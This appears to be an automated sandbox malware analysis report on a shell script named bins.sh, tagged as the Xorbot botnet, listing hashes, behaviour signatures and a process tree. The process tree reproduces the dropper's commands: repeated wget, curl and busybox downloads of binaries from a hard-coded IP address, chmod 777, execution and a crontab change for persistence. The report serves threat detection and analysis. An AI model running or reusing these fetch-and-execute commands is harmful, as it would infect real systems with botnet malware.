Analysis
-
max time kernel
149s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
02-12-2024 22:21
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
333efe28921c62bc81cebb18d9a6e7d6
-
SHA1
de7c7c8d358a6d4ac49add9902ee77a9ebccfc66
-
SHA256
0b484ebad0fae0be292db02d72f87470f7fe3e013ae3ef4d79d8795357b3fcf8
-
SHA512
a148117669ec67c429297926d0e4d7ade365437adb2faf2e26870e00230c87f1e2914f06a7f445a4e2edc2afd678875c5aa7fdeda0061109994feeb4aef0bcb2
-
SSDEEP
192:9MhNqbWTzY0aowDWJ1phC2Gt1gphWaQ7Ti++00SB141pb++EowDWJ1xhN8YTzYx5:yhNqbKaowDWJ1pXphWaQ7Ti+G1pb++E5
Malware Config
Signatures
-
Processes:
resource yara_rule behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot behavioral1/files/fstream-9.dat family_xorbot behavioral1/files/fstream-11.dat family_xorbot behavioral1/files/fstream-13.dat family_xorbot behavioral1/files/fstream-15.dat family_xorbot behavioral1/files/fstream-19.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid Process 1508 chmod 1515 chmod 1522 chmod 1536 chmod 1543 chmod 1564 chmod 1493 chmod 1529 chmod 1550 chmod 1557 chmod -
Executes dropped EXE 10 IoCs
Processes:
pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4o3101AI3wA73iEMKdI84vt3QyAmRzNOFNzVKcjTKRHUwCXuok146ahL2CTArWCWtmW6WpaJYGM83XoCOJWRicBYG4tFXKmgTFD6DBVnjt3Cd4HSeo9BwaPrDncaieyUzhvGMAIviHZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNtN92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEqwPVGpsRn4FmhhzOl95w84FmX2XAztsgs0CJfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQBioc pid Process /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4 1494 pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4 /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz 1509 o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W 1516 VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV 1523 paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi 1530 njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt 1537 HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ 1544 N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq 1551 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C 1558 wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB 1565 JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB -
Renames itself 1 IoCs
Processes:
JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQBpid Process 1566 JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.egIxP7 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQBdescription ioc Process File opened for reading /proc/168/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/451/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/633/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/947/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/952/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1279/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/26/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/82/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1144/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1181/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1337/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/2/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1080/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/645/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1060/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/85/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/468/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/165/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/449/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1164/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1177/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/29/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/31/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/159/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/167/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1108/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1129/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1154/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1473/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/30/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/115/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/559/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1136/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1167/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1186/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/19/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/32/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1300/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1478/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1571/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/155/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/501/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/158/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/429/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/517/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1004/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/14/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/80/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/699/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1033/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1039/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1469/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1482/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/435/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/459/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1156/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1226/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/197/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1125/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/447/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/161/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/445/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1172/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB File opened for reading /proc/1278/cmdline JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxbusyboxwgetbusyboxbusyboxcurlwgetwgetcurlbusyboxcurlcurlwgetwgetbusyboxwgetwgetbusyboxcurlwgetbusyboxwgetcurlbusyboxcurlcurlbusyboxcurlwgetdescription ioc Process File opened for modification /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq curl File opened for modification /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB busybox File opened for modification /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4 busybox File opened for modification /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi wget File opened for modification /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ busybox File opened for modification /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W busybox File opened for modification /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV curl File opened for modification /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt wget File opened for modification /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB wget File opened for modification /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4 curl File opened for modification /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV busybox File opened for modification /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt curl File opened for modification /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi curl File opened for modification /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C wget File opened for modification /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ wget File opened for modification /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C busybox File opened for modification /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz wget File opened for modification /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W wget File opened for modification /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt busybox File opened for modification /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W curl File opened for modification /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV wget File opened for modification /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq busybox File opened for modification /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4 wget File opened for modification /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz curl File opened for modification /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz busybox File opened for modification /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C curl File opened for modification /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB curl File opened for modification /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi busybox File opened for modification /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ curl File opened for modification /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1475
-
/bin/rm/bin/rm bins.sh2⤵PID:1476
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵
- Writes file to tmp directory
PID:1477
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵
- Writes file to tmp directory
PID:1491
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵
- Writes file to tmp directory
PID:1492
-
-
/bin/chmodchmod 777 pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵
- File and Directory Permissions Modification
PID:1493
-
-
/tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4./pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵
- Executes dropped EXE
PID:1494
-
-
/bin/rmrm pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U42⤵PID:1496
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵
- Writes file to tmp directory
PID:1497
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵
- Writes file to tmp directory
PID:1506
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵
- Writes file to tmp directory
PID:1507
-
-
/bin/chmodchmod 777 o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵
- File and Directory Permissions Modification
PID:1508
-
-
/tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz./o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵
- Executes dropped EXE
PID:1509
-
-
/bin/rmrm o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz2⤵PID:1511
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵
- Writes file to tmp directory
PID:1512
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵
- Writes file to tmp directory
PID:1513
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵
- Writes file to tmp directory
PID:1514
-
-
/bin/chmodchmod 777 VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵
- File and Directory Permissions Modification
PID:1515
-
-
/tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W./VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵
- Executes dropped EXE
PID:1516
-
-
/bin/rmrm VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W2⤵PID:1518
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵
- Writes file to tmp directory
PID:1519
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵
- Writes file to tmp directory
PID:1520
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵
- Writes file to tmp directory
PID:1521
-
-
/bin/chmodchmod 777 paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵
- File and Directory Permissions Modification
PID:1522
-
-
/tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV./paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵
- Executes dropped EXE
PID:1523
-
-
/bin/rmrm paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV2⤵PID:1525
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵
- Writes file to tmp directory
PID:1526
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵
- Writes file to tmp directory
PID:1527
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵
- Writes file to tmp directory
PID:1528
-
-
/bin/chmodchmod 777 njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵
- File and Directory Permissions Modification
PID:1529
-
-
/tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi./njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵
- Executes dropped EXE
PID:1530
-
-
/bin/rmrm njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi2⤵PID:1532
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵
- Writes file to tmp directory
PID:1533
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵
- Writes file to tmp directory
PID:1534
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵
- Writes file to tmp directory
PID:1535
-
-
/bin/chmodchmod 777 HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵
- File and Directory Permissions Modification
PID:1536
-
-
/tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt./HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵
- Executes dropped EXE
PID:1537
-
-
/bin/rmrm HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt2⤵PID:1539
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵
- Writes file to tmp directory
PID:1540
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵
- Writes file to tmp directory
PID:1542
-
-
/bin/chmodchmod 777 N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵
- File and Directory Permissions Modification
PID:1543
-
-
/tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ./N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵
- Executes dropped EXE
PID:1544
-
-
/bin/rmrm N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ2⤵PID:1546
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵
- Writes file to tmp directory
PID:1547
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵
- Writes file to tmp directory
PID:1548
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵
- Writes file to tmp directory
PID:1549
-
-
/bin/chmodchmod 777 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq./3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵
- Executes dropped EXE
PID:1551
-
-
/bin/rmrm 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq2⤵PID:1553
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵
- Writes file to tmp directory
PID:1554
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵
- Writes file to tmp directory
PID:1555
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵
- Writes file to tmp directory
PID:1556
-
-
/bin/chmodchmod 777 wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵
- File and Directory Permissions Modification
PID:1557
-
-
/tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C./wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵
- Executes dropped EXE
PID:1558
-
-
/bin/rmrm wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C2⤵PID:1560
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵
- Writes file to tmp directory
PID:1561
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵
- Writes file to tmp directory
PID:1562
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵
- Writes file to tmp directory
PID:1563
-
-
/bin/chmodchmod 777 JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵
- File and Directory Permissions Modification
PID:1564
-
-
/tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB./JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1565 -
/bin/shsh -c "crontab -l"3⤵PID:1567
-
/usr/bin/crontabcrontab -l4⤵PID:1568
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1569
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1570
-
-
-
-
/bin/rmrm JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB2⤵PID:1572
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/l8Y8Ix3FJZh1ZaSypblCYi8sBbc1j8AY6c2⤵PID:1575
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
210B
MD591876dda7ea93488fb5d8376d525ccda
SHA10160ff9a87b75f674efaf0e0db5f2d7807463af8
SHA25647301fcd850afa604d309638cce02453a35c92cc439cc2a655de752c871e38bc
SHA512e83939c6159131d548f74d2f76133856003ed2874f65cb97984e2cd9317b4c7d84ad100b045a0010e82ca3fab9b51c33b7f55c93a151ee2d1e1ddf28e0330355